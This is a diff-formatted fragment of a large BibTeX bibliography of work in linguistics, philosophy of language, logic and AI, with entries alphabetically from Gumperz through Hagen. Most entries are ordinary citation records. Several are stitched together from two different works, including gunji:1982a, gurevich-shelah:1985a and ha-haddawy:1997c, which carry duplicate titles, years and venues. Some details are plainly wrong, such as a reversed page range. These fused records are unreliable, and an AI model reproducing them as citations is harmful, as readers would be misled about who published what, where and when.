+ } + +@book{ gumperz-levinson:1996a, + editor = {John J. Gumperz and Stephen C. Levinson}, + title = {Rethinking Linguistic Relativity}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + topic = {linguistic-relativity;} + } + +@phdthesis{ gundel:1974a, + author = {Jeanette K. Gundel}, + title = {The Role of Topic and Comment in Linguistic Theory}, + school = {University of Texas at Austin}, + year = {1974}, + type = {Ph.{D}. Dissertation}, + address = {Austin, Texas}, + topic = {s-topic;} + } + +@techreport{ gundel:1976a, + author = {Jeanette K. Gundel}, + title = {Left Dislocation and Topic-Comment Structure in Linguistic + Theory}, + institution = {Linguistics Department, The Ohio State University}, + year = {1976}, + address = {Columbus, Ohio}, + note = {OSU Working Papers in Linguistics, volume 18}, + topic = {s-topic;} + } + +@incollection{ gundel:1997a, + author = {Jeanette K. Gundel}, + title = {Centering Theory and the Givenness + Hierarchy: Towards a Synthesis}, + booktitle = {Centering Theory in Discourse}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {Marilyn A. Walker and Arivind K. Joshi and Ellen Prince}, + pages = {182--198}, + address = {Oxford}, + topic = {anaphora-resolution;discourse;pragmatics;given-new; + centering;} + } + +@incollection{ gundel-etal:1999a, + author = {Jeanette K. Gundel and Kaja Borthen and Thorstein + Fretheim}, + title = {The Role of Context in {E}nglish + and {N}orwegian}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {475--478}, + address = {Berlin}, + topic = {context;English-language;Norwegian-language;} + } + +@book{ gunderson:1975a, + editor = {Keith Gunderson}, + title = {Language, Mind, and Knowledge. {M}innesota Studies in + the Philosophy of Science, Vol. 7}, + publisher = {University of Minnesota Press}, + year = {1975}, + address = {Minneapolis, Minnesota}, + xref = {Review: bigelow:1977a.}, + contentnote = {TC: + 1. David K. Lewis, "Languages and Language", pp. 3--35 + 2. Jerrold J. Katz, "Logic and Language: An Examination of + Recent Criticisms of Intensionalism", pp. 36--130 + 3. Hilary Putnam, "The Meaning of `Meaning'\,", pp. 131--193 + 4. Charles Chastain, "Reference and Context", pp. 194--269 + 5. Gilbert Harman, "Language, Thought, and + Communication", pp. 270--298 + 6. Noam Chomsky, "Knowledge of Language", pp. 299--320 + 7. Michael D. Root, "Language, Rules, and Complex + Behavior", pp. 321--343 + 8. John R. Searle, "A Taxonomy of Illocutionary Acts", pp. 344--369 + 9. Zeno Vendler, "On What We Know", pp. 370--390 + 10. Bruce Aune, "Vendler on Knowledge and Belief", pp. 391--399 + 11. Zeno Vendler, "Reply to {P}rofessor {A}une", pp. 400--402 + 12. Douglas C. Dennett, "Brain Writing and Mind + Reading", pp. 403--415 + } , + topic = {philosophy-of-language;} + } + +@book{ gunderson:1985a, + author = {Keith Gunderson}, + edition = {2}, + title = {Mentality and Machines}, + publisher = {University of Minnesota Press}, + year = {1985}, + address = {Minneapolis}, + ISBN = {0-8166-1362-1 (pbk)}, + topic = {philosophy-of-mind;philosophy-of-AI;} + } + +@book{ gunji:1982a, + author = {Takao Gunji}, + title = {Toward a Computational Theory of Pragmatics: Discourse, + Presupposition, and Implicature}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + title = {Generalized Phrase Structure Grammar and {J}apanese + Reflexivization}, + journal = {Linguistics and Philosophy}, + year = {1983}, + volume = {6}, + number = {1}, + pages = {115--156}, + topic = {GPSG;Japanese-language;reflexive-constructions;} + } + +@article{ gunkel:1998a, + author = {Luiz Gunkel}, + title = {Review of {\it Complex Predicates}, by {A}lex {A}lsina, + {J}oan {B}resnan, and {P}eter {S}ells}, + journal = {Theoretical Linguistics}, + year = {1998}, + volume = {24}, + number = {2/3}, + pages = {265--271}, + xref = {Review of alsina-etal:1997a.}, + topic = {complex-predicates;morphology;syntax;} + } + +@book{ gunter:1992a, + author = {Carl A. Gunter}, + title = {Semantics of Programming Languages: Programming Techniques}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + topic = {semantics-of-programming-languages;} + } + +@book{ gunter-mitchell:1994a, + editor = {Carl A. Gunter and John C. Mitchell}, + title = {Theoretical Aspects of Object-Oriented Programming}, + publisher = {The {MIT} Press}, + year = {1994}, + address = {Cambridge, Massachusetts}, + topic = {object-oriented-systems;theory-of-computation;} + } + +@article{ gunter-etal:1997a, + author = {Carl A. Gunter and Teow-Hin Ngair and Devika Subramanian}, + title = {The Common Order-Theoretic Structure of Version Spaces and + {ATMS}s}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {95}, + number = {2}, + pages = {357--407}, + topic = {order-theory;version-spaces;truth-maintenance;} + } + +@book{ guo:1995a, + editor = {Cheng-Ming Guo}, + title = {Machine Tractable Dictionaries: Design and Contruction}, + publisher = {Ablex Publishing Co.}, + year = {1995}, + address = {Norwood, New Jersey}, + ISBN = {0893918539}, + topic = {computational-lexicography;} + } + +@inproceedings{ guo:1998a, + author = {Jin Guo}, + title = {One Tokenization Per Source}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {457--463}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {sentence-tokenization;} +} + +@article{ gupta_a:1978a, + author = {Anil Gupta}, + title = {Modal Logic and Truth}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {4}, + pages = {441--472}, + topic = {modal-logic;Davidson-semantics;} + } + +@book{ gupta_a:1980a, + author = {Anil Gupta}, + title = {The Logic of Common Nouns}, + publisher = {Yale University Press}, + year = {1980}, + address = {New Haven, Connecticut}, + xref = {Review: bressan:1993a.}, + topic = {semantics-of-common-nouns;identity;} + } + +@article{ gupta_a:1982a, + author = {Anil Gupta}, + title = {Truth and Paradox}, + journal = {Journal of Philosophical Logic}, + year = {1982}, + volume = {11}, + number = {1}, + pages = {1--60}, + topic = {truth;semantic-paradoxes;} + } + +@incollection{ gupta_a:1987a, + author = {Anil Gupta}, + title = {The Meaning of Truth}, + booktitle = {New Directions in Semantics, Volume 2}, + publisher = {Academic Press}, + year = {1987}, + editor = {Ernest LePore}, + pages = {453--480}, + address = {London}, + topic = {truth;} + } + +@article{ gupta_a-savion:1987a, + author = {Anil Gupta and Leah Savion}, + title = {Semantics of Propositional Attitudes: A Critical Study of + {C}resswell's {\it Structured Meanings}}, + journal = {Journal of Philosophical Logic}, + year = {1987}, + volume = {16}, + number = {4}, + pages = {395--410}, + xref = {Review of cresswell_mj:1985a.}, + topic = {foundations-of-semantics;propositional-attitudes; + structured-propositions;} + } + +@article{ gupta_a:1988a, + author = {Anil Gupta}, + title = {Remarks on Definitions and the Concept of Truth}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1988}, + volume = {89}, + pages = {227--246}, + topic = {truth;semantic-paradoxes;definitions;} + } + +@incollection{ gupta_a:1993a, + author = {Anil Gupta}, + title = {Minimalism}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {359--369}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {truth;deflationary-analyses;} + } + +@article{ gupta_a:1993b, + author = {Anil Gupta}, + title = {A Critique of Deflationism}, + journal = {Philosophical Topics}, + year = {1993}, + volume = {21}, + pages = {57--81}, + topic = {truth;} + } + +@book{ gupta_a-belnap:1993a, + author = {Anil Gupta and Nuel D. {Belnap, Jr.}}, + title = {The Revision Theory of Truth}, + publisher = {The {MIT} Press}, + year = {1993}, + address = {Cambridge, Massachusetts}, + topic = {truth;semantic-paradoxes;fixpoints;} + } + +@article{ gupta_nc-nau:1992a, + author = {Naresh C. Gupta and Dana S. Nau}, + title = {On the Complexity of Blocks-World Planning}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {56}, + number = {2--3}, + pages = {223--254}, + topic = {planning;complexity-in-AI;} + } + +@article{ gupta_nc-kanal:1995a, + author = {Naresh C. Gupta and Laveen N. Kanal}, + title = {{3-D} Motion Estimation from Motion Field}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {78}, + number = {1--2}, + pages = {45--86}, + topic = {motion-reconstruction;} + } + +@techreport{ gupta_p-touretzky:1993a, + author = {Prahlad Gupta and David S. Touretzky}, + title = {Connectionist Models and Linguistic Theory: + Investigations of Stress Systems in Language}, + institution = {Computer Science Department, CArnegie Mellon + University}, + number = {CMU-CS-93-146}, + year = {1993}, + address = {Pittsburgh, PA 15213}, + topic = {connectionist-models;phonology;} + } + +@inproceedings{ gupta_v-lamping:1998a, + author = {Vineet Gupta and John Lamping}, + title = {Efficient Linear Logic Meaning Assembly}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {464--470}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {computational-semantics;LFG;nl-to-logic-mapping;} +} + +@inproceedings{ gurevich-harrington:1982a, + author = {Yuri Gurevich and L. Harrington}, + title = {Trees, Automata and Games}, + booktitle = {{ACM} Symposium on Theory of Computing}, + year = {1982}, + pages = {60--65}, + organization = {ACM}, + missinginfo = {publisher, address}, + topic = {branching-time;game-theory;} + } + +@unpublished{ gurevich:1983a, + author = {Yuri Gurevich}, + title = {Monadic Second-Order Theories}, + year = {1983}, + note = {Unpublished manuscript, University of Michigan}, + topic = {second-order-logic;decidability;} + } + +@article{ gurevich-shelah:1985a, + author = {Yuri Gurevich and Sharanon Shelah}, + title = {The Decision Problem in Branching Time Logic}, + journal = {Journal of Symbolic Logic}, + year = {1985}, + volume = {50}, + pages = {668--661}, + missinginfo = {number}, + title = {To the Decision Problem in Branching Time Logic}, + booktitle = {Foundations of Logic and Linguistics: Problems and + Solutions}, + publisher = {Plenum Press}, + year = {1985}, + editor = {Georg Dorn and Paul Weingartner}, + pages = {181--198}, + address = {New York}, + topic = {branching-time;} + } + +@incollection{ gurevich:1988a, + author = {Yuri Gurevich}, + title = {Algorithms in the World of Bounded + Resources}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {407--416}, + address = {Oxford}, + topic = {theory-of-computation;resource-limited-reasoning;} + } + +@incollection{ gurevich:1988b, + author = {Yuri Gurevich}, + title = {Logic and the Challenge of Computer Science}, + booktitle = {Current Trends in Theoretical Computer Science}, + publisher = {Computer Science Press}, + year = {1988}, + editor = {Egon B\"orger}, + chapter = {1}, + pages = {1--57}, + address = {Rockville, Maryland}, + topic = {logic-and-computer-science;finite-models;dynamic-logic; + semantics-of-programming-languages;logic-in-CS;} + } + +@article{ gurevich-shelah:1996a, + author = {Yuri Gurevich and Sharanon Shelah}, + title = {On Finite Rigid Structures}, + journal = {Journal of Symbolic Logic}, + year = {2000}, + volume = {65}, + number = {3}, + pages = {549--562}, + xref = {Review: stolboushkin:2000a}, + topic = {finite-models;} + } + +@unpublished{ gurney-etal:1996a, + author = {John Gurney and Don Perlis and Khemdut Purang}, + title = {Updating Discourse Context With Active Logic}, + year = {1996}, + note = {Unpublished manuscript, University of Maryland.}, + topic = {discourse;pragmatics;active-logic;} + } + +@article{ gurney-etal:1997a, + author = {John Gurney and Don Perlis and Khemdut Purang}, + title = {Interpreting Presuppositions Using Active Logic: From Contexts + to Utterances}, + journal = {Computational Intelligence}, + year = {1997}, + volume = {13}, + number = {3}, + pages = {391--426}, + topic = {context;presupposition;pragmatics;active-logic;} + } + +@book{ gurtz-hvlldobler:1996a, + editor = {G. Gurtz and S. Hvlldobler}, + title = {KI-96: Advances in Artificial Intelligence 20th Annual + {G}erman Conference on Artificial Intelligence {D}resden, + {G}ermany, September 17--19, 1996}, + publisher = {Springer-Verlag}, + year = {1996}, + address = {Berlin}, + ISBN = {3-540-61708-6 (Softcover)}, + topic = {AI-general;} + } + +@article{ gusgen-hertzberg:1988a, + author = {Hans-Werner G\"usgen and Joachim Hertzberg}, + title = {Some Fundamental Properties of Local Constraint + Propagation}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {36}, + number = {2}, + pages = {237--247}, + topic = {constraint-propagation;} + } + +@incollection{ gustaffson_j-doherty:1996a, + author = {Joakim Gustaffson and Patrick Doherty}, + title = {Embracing Occlusion in Specifying the Indirect Effects of + Actions}, + booktitle = {{KR}'96: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {87--98}, + address = {San Francisco, California}, + missinginfo = {Check spelling of "Gustaffson".}, + contentnote = {PMON is the Linkoping action formalism. This is an + extension to include nondet actions among other things. + Occlusion is a form of formalizing causal reasoning. For + occlusion, see sandewall:1989a and sandewall:1994a.}, + topic = {kr;causality;action-formalisms;kr-course;action-effects;} + } + +@article{ gustafson:1968a, + author = {Donald F. Gustafson}, + title = {Momentary Intentions}, + journal = {Mind}, + year = {1968}, + volume = {77}, + number = {305}, + pages = {1--13}, + xref = {Discussion: } , + topic = {philosophy-of-action;intention;} + } + +@article{ gustafson:1974a, + author = {Donald F. Gustafson}, + title = {On Doubting One's Intentions}, + journal = {Mind}, + year = {1974}, + volume = {83}, + number = {329}, + pages = {114--115}, + xref = {Commentary: whiteley_ch:1971a.}, + topic = {intention;philosophy-of-action;} + } + +@book{ gustafson_df:1986a, + author = {Donald F. Gustafson}, + title = {Intention and Agency}, + publisher = {D. Reidel Publishing Co.}, + year = {1986}, + address = {Dordrecht}, + topic = {philosophy-of-action;intention;} + } + +@book{ guttenplan:1994a, + editor = {Samuel Guttenplan}, + title = {A Companion to the Philosophy of Mind}, + publisher = {Blackwell Publishers}, + address = {Oxford}, + year = {1994}, + ISBN = {0-631-20218-8 (pb)}, + topic = {philosophy-of-mind;} +} + +@article{ guttman-etal:2000b, + author = {Jem-Steffan Guttman and Wolfgang Hatzack and Immanuel + Hermann and Bernhard Nebel and Frank Rittinger and Augustinus + Topor and Thilo Weigel}, + title = {The {CS} {F}reiburg Team}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {1}, + pages = {37--46}, + topic = {robotics;RoboCup;} + } + +@techreport{ guttman_j-etal:1990a, + author = {Joshua Guttman and William Farmer and F. Javier Thayer}, + title = {{IMPS}: A Proof System for a Generic Logic}, + institution = {The Mitre Corporation}, + year = {1990}, + address = {Bedford, MA}, + topic = {theorem-proving;} + } + +@incollection{ gutuerrezrexach:1999a, + author = {Javier Gutu\'errez-Rexach}, + title = {Cross-Linguistic Semantics of + Weak Pronouns in Doubling Structures}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {115--120}, + address = {Amsterdam}, + topic = {clitic-doubling;clitics;} + } + +@book{ gvozdanovic-etal:1991a, + editor = {Jadranka Gvozdanovic and Theo A.J.M. Janssen and \"Osten Dahl}, + title = {The Function of Tense in Texts}, + publisher = {North-Holland Publishing Co.}, + year = {1991}, + address = {Amsterdam}, + ISBN = {044485732X}, + topic = {tense-aspect;narrative-representation;narrative-understanding;} + } + +@article{ gyssens-etal:1994a, + author = {Marc Gyssens and Peter G. Jeavons and David A. Cohen}, + title = {Decomposing Constraint Satisfaction Problems Using + Database Techniques}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {66}, + number = {1}, + pages = {57--89}, + acontentnote = {Abstract: + There is a very close relationship between constraint + satisfaction problems and the satisfaction of join-dependencies + in a relational database which is due to a common underlying + structure, namely a hypergraph. By making that relationship + explicit we are able to adapt techniques previously developed + for the study of relational databases to obtain new results for + constraint satisfaction problems. In particular, we prove that + a constraint satisfaction problem may be decomposed into a + number of subproblems precisely when the corresponding + hypergraph satisfies a simple condition. We show that combining + this decomposition approach with existing algorithms can lead to + a significant improvement in efficiency. } , + topic = {constraint-satisfaction;problem-decomposition;} + } + +@incollection{ gyuris:1996a, + author = {Viktor Gyuris}, + title = {Associativity Does Not Imply Undecidability + without the Axiom of Modal Distribution}, + booktitle = {Arrow Logic and Multimodal Logic}, + publisher = {{CLSI} Publications}, + year = {1996}, + editor = {Maarten Marx and L\'azl\'o P\'olos and Michael Masuch}, + pages = {101--107}, + address = {Stanford, California}, + topic = {arrow-logic;} + } + +@unpublished{ ha-etal:1997a, + author = {Vu Ha and Tri Li and Peter Haddawy}, + title = {Case-Based Preference Elicitation (Preliminary Report)}, + year = {1997}, + note = {Unpublished manuscript, Department of Electrical Engineering + and Computer Science, University of Wisconsin-Milwaukee}, + topic = {qualitative-utility;decision-analysis;decision-theoretic-planning + multiattribute-utility;} + } + +@inproceedings{ ha-haddawy:1997c, + author = {Vu Ha and Peter Haddawy}, + title = {Problem-Focused Incremental Elicitation of Multi-Attribute + Utility Models}, + booktitle = {Proceedings of the Thirteenth Conference on + Uncertainty in Artificial Intelligence ({UAI}-97)}, + year = {1997}, + pages = {215--222}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + title = {Geometric Foundations for Interval-Based Probabilities}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {582--593}, + address = {San Francisco, California}, + topic = {kr;interval-based-probabilities;kr-course;} + } + +@inproceedings{ ha-haddawy:1998b, + author = {Vu Ha and Peter Haddawy}, + title = {Toward Case-Based Preference Elicitation: Similarity + Measures on Preference Structures}, + booktitle = {Proceedings of the Fourteenth Conference on Uncertainty in + Artificial Intelligence}, + month = {July}, + pages = {193--201}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + year = {1998}, + topic = {preference-elicitation;case-based-reasoning;} + } + +@article{ haack_rj:1971a, + author = {R.J. Haack}, + title = {On {D}avidson's Paratactic Theory of Oblique Objects}, + journal = {No\^us}, + year = {1971}, + volume = {5}, + number = {4}, + pages = {351--361}, + topic = {indirect-discourse;propositional-attitudes;propositions + philosophy-of-language;} + } + +@article{ haapararnta:1988a, + author = {Leila Haapararnta}, + title = {Analysis as the Method of Logical Discovery: + Some Remarks on {F}rege and {H}usserl}, + journal = {Synth\'ese}, + year = {1988}, + volume = {77}, + number = {1}, + pages = {73--97}, + topic = {history-of-logic;Frege;Husserl;} + } + +@incollection{ haarslev-etal:1998a, + author = {Volker Haarslev and Carsten Lutz and Ralf M\"oller}, + title = {Foundations of Spatiotemporal Reasoning with Description + Logics}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {112--123}, + address = {San Francisco, California}, + topic = {kr;taxonomic-logics;spatial-reasoning;temporal-reasoning; + kr-course;} + } + +@inproceedings{ haarslev-moller:2000a, + author = {Volker Haarslev and Ralf M\"oller}, + title = {Expressive {AB}ox Reasoning with Number Restrictions, + Role Hierarchies, and Transitively Closed Roles}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {273--284}, + topic = {taxonomic-logics;} + } + +@article{ haas:1950a, + author = {W. Haas}, + title = {On Speaking a Language}, + journal = {Proceedings of the {A}ristotelian Society, New Series}, + year = {1950--51}, + volume = {70}, + pages = {129--166}, + topic = {philosophy-of-linguistics;} + } + +@article{ haas:1986a, + author = {Andrew Haas}, + title = {A Syntactic Theory of Belief and Action}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {28}, + number = {3}, + pages = {245--292}, + topic = {propositional-attitudes;} + } + +@incollection{ haas:1992a, + author = {Andrew R. Haas}, + title = {A Reactive Planner that Uses Explanation Closure}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {93--102}, + address = {San Mateo, California}, + topic = {planning-algorithms;} + } + +@article{ haase:1995a, + author = {Kenneth B. Haase}, + title = {Too Many Ideas, Just One Word: A Review of {M}argaret + {B}oden's {\it The Creative Mind: Myths and Mechanisms}}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {79}, + number = {1}, + pages = {69--82}, + xref = {Review of boden:1990a.}, + topic = {creativity;} + } + +@incollection{ habel-etal:1995a, + author = {Christopher Habel and Simone Pribbenow and Geoffrey Simmons}, + title = {Partonomies and Depictions: A Hybrid Approach}, + booktitle = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + pages = {527--653}, + address = {Cambridge, Massachusetts}, + topic = {diagrams;reasoning-with-diagrams; + cognitive-psychology;visual-reasoning;partonomies;} + } + +@book{ habermas:1988a, + author = {J\"urgen Habermas}, + title = {On the Logic of the Social Sciences}, + publisher = {The {MIT} Press}, + year = {1988}, + address = {Cambridge, Massachusetts}, + note = {Translated by Shierry Weber Nicholsen and Jerry A. Stark}, + ISBN = {0262081776}, + topic = {philosophy-of-social-science;} + } + +@book{ habermas:1990a, + author = {J\"urgen Habermas}, + title = {Moral Consciousness and Communicative Action}, + publisher = {The {MIT} Press}, + year = {1990}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-58118-3}, + topic = {continental-philosophy;pragmatics;philosophy-of-language; + ethics;} + } + +@book{ habermas:1998a, + author = {J\"urgen Habermas}, + title = {On the Pragmatics of Communication}, + publisher = {The {MIT} Press}, + year = {1998}, + address = {Cambridge, Massachusetts}, + note = {Edited by Maeve Cook.}, + ISBN = {0-262-58187-6}, + topic = {continental-philosophy;pragmatics;philosophy-of-language;} + } + +@book{ habermas:2000a, + author = {J\"urgen Habermas}, + title = {On the Pragmatics of Social Interaction}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-08288-8}, + topic = {continental-philosophy;pragmatics;philosophy-of-language;} + } + +@book{ hacker:1990a, + author = {Peter M.S. Hacker}, + title = {Wittgenstein, Meaning and Mind}, + publisher = {Basil Blackwell Publishers}, + year = {1990}, + address = {Oxford}, + ISBN = {0631167846}, + topic = {Wittgenstein;philosophy-of-language;philosophy-of-mind;} + } + +@article{ hacking:1967a, + author = {Ian Hacking}, + title = {Slightly More Realistic Personal Probability}, + journal = {Philosophy of Science}, + year = {1967}, + volume = {34}, + pages = {311--325}, + missinginfo = {number}, + topic = {foundations-of-probability;} + } + +@article{ hacking:1975a, + author = {Ian Hacking}, + title = {All Kinds of Possibility}, + journal = {The Philosophical Review}, + year = {1975}, + volume = {84}, + pages = {321--337}, + missinginfo = {number}, + topic = {ability;possibility;} + } + +@book{ hacking:1975b, + author = {Ian Hacking}, + title = {Why Does Language Matter to Philosophy?}, + publisher = {Cambridge University Press}, + year = {1975}, + address = {Cambridge, England}, + xref = {Review: } , + topic = {philosophy-of-language;poststructuralism;} + } + +@book{ hacking:1983a, + author = {Ian Hacking}, + title = {Representing and Intervening}, + publisher = {Cambridge University Press}, + year = {1983}, + address = {Cambridge, England}, + topic = {philosophy-of-science;} + } + +@book{ hacking:1999a, + author = {Ian Hacking}, + title = {The Social Construction of What?}, + publisher = {Harvard University Press}, + year = {1999}, + address = {Cambridge, Massachusetts}, + topic = {social-constructivism;philosophy-of-science;} + } + +@incollection{ hacking:2000a, + author = {Ian Hacking}, + title = {How Inevitable Are the Results of Successful Science?}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S58--S71}, + address = {Newark, Delaware}, + topic = {philosophy-of-science;} + } + +@book{ hacking:2001a, + author = {Ian Hacking}, + title = {An Introduction to Probability and Inductive Logic}, + publisher = {Cambridge University Press}, + year = {2001}, + address = {Cambridge, England}, + ISBN = {0-521-77501-9}, + topic = {logic-intro;probability-intro;foundations-of-probability;} + } + +@incollection{ haddaway-frisch:1990a, + author = {Peter Haddaway and Alan Frisch}, + title = {Modal Logics of Higher-Order Probability}, + booktitle = {Uncertainty in Artificial Intelligence, Volume 4}, + publisher = {Springer-Verlag}, + year = {1990}, + editor = {Max Henrion and Ross D. Shachter and L.N. Kanal and J.F. + Lemmer}, + address = {Berlin}, + topic = {higher-order-probability;probability-semantics;} + } + +@inproceedings{ haddawy-frisch:1987a, + author = {Peter Haddawy and Alan M. Frisch}, + title = {Convergent Deduction for Probabilistic Logic}, + booktitle = {Proceedings of the {AAAI} Workshop on Uncertainty + in Artificial Intelligence}, + year = {1987}, + pages = {125--143}, + organization = {{AAAI}}, + missinginfo = {editor, publisher, address, pages}, + topic = {probability-semantics;} + } + +@inproceedings{ haddawy-hanks:1990a, + author = {Peter Haddawy and Steven Hanks}, + title = {Issues in Decision-Theoretic Planning: Symbolic Goals + and Numeric Utilities}, + booktitle = {{DARPA} Workshop on Innovative Applications to Planning, + Scheduling, and Control}, + year = {1990}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + missinginfo = {editor,pages}, + topic = {decision-theoretic-planning;} + } + +@incollection{ haddawy:1991a, + author = {Peter Haddawy}, + title = {A Temporal Probability Logic for Representing Actions}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {313--324}, + address = {San Mateo, California}, + topic = {kr;branching-time;probabilistic-planning; + probabilistic-reasoning;kr-course;} + } + +@incollection{ haddawy-hanks:1992a, + author = {Peter Haddawy and Steven Hanks}, + title = {Representations of Decision-Theoretic Planning: Utility + Functions for Deadline Goals}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {71--82}, + address = {San Mateo, California}, + topic = {kr;decision-theoretic-planning;kr-course;} + } + +@techreport{ haddawy-hanks:1993a, + author = {Peter Haddawy and Steve Hanks}, + title = {Utility Models for Goal-Directed Decision-Theoretic + Planners}, + institution = {Department of EE\&CS, University of Wisconsin-Milwaukee}, + number = {93--06--04}, + year = {1993}, + address = {Milwaukee, Wisconsin}, + topic = {decision-theoretic-planning;} + } + +@inproceedings{ haddawy:1994a, + author = {Peter Haddawy}, + title = {Decision-Theoretic Refinement Planning Using Inheritance + Abstraction}, + booktitle = {Proceedings of 2nd International Conference on {AI} + Planning Systems}, + year = {1994}, + editor = {K. Hammond}, + pages = {266--271}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {planning;decision-theoretic-planning;inheritance;} + } + +@inproceedings{ haddawy-suwandi:1994a, + author = {Peter Haddawy and Meliani Suwandi}, + title = {Decision Theoretic Planning using Inheritance + Abstraction}, + booktitle = {Proceedings of the Second International Conference on {AI} + Planning Systems}, + year = {1994}, + editor = {K. Hammond}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {planning;decision-theoretic-planning;inheritance;} + } + +@article{ haddawy:1996a, + author = {Peter Haddawy}, + title = {Believing Change and Changing Belief}, + journal = {{IEEE} Transactions on Systems, Man, and Cybernetics. Special + Issue on Higher-Order Uncertainty.}, + year = {1996}, + volume = {26}, + number = {5}, + missinginfo = {pages,topics}, + topic = {belief-revision;} + } + +@article{ haddawy:1996b, + author = {Peter Haddawy}, + title = {A Logic of Time, Change, and Action for Representing Plans}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {80}, + number = {2}, + pages = {243--308}, + topic = {temporal-reasoning;} + } + +@inproceedings{ hadzilacos:1987a, + author = {V. Hadzilacos}, + title = {A Knowledge-Theoretic Analysis of Atomic Commitment + Protocols}, + booktitle = {Proceedings of the Sixth {ACM} Symposium on Principles of + Database Systems}, + year = {1987}, + pages = {129--134}, + missinginfo = {A's 1st name, organization, publisher, addresss}, + topic = {communication-protocols;} + } + +@book{ haegeman:1991a, + author = {Liliane M.V. Haegeman}, + title = {Introduction to Government and Binding Theory}, + publisher = {Blackwell Publishers}, + year = {1991}, + address = {Oxford}, + topic = {nl-syntax;GB-syntax;} + } + +@book{ hage:1997a, + author = {Jaap Haage}, + title = {Reasoning with Rules}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + address = {Dordrecht}, + topic = {philosophy-of-law;legal-reasoning;argumentation;} + } + +@incollection{ hage:1998a, + author = {J. Hage}, + title = {Moderately Naturalistic Deontic Logic}, + booktitle = {Norms, Logics and Information Systems. New Studies in + Deontic Logic and Computer Science}, + publisher = {IOS Press}, + year = {1998}, + editor = {Henry Prakken and Paul McNamara}, + pages = {73--92}, + address = {Amsterdam}, + topic = {deontic-logic;} + } + +@incollection{ hagen-grote:1997a, + author = {Eli Hagen and Brigitte Grote}, + title = {Planning Efficient Mixed Initiative Dialogue}, + booktitle = 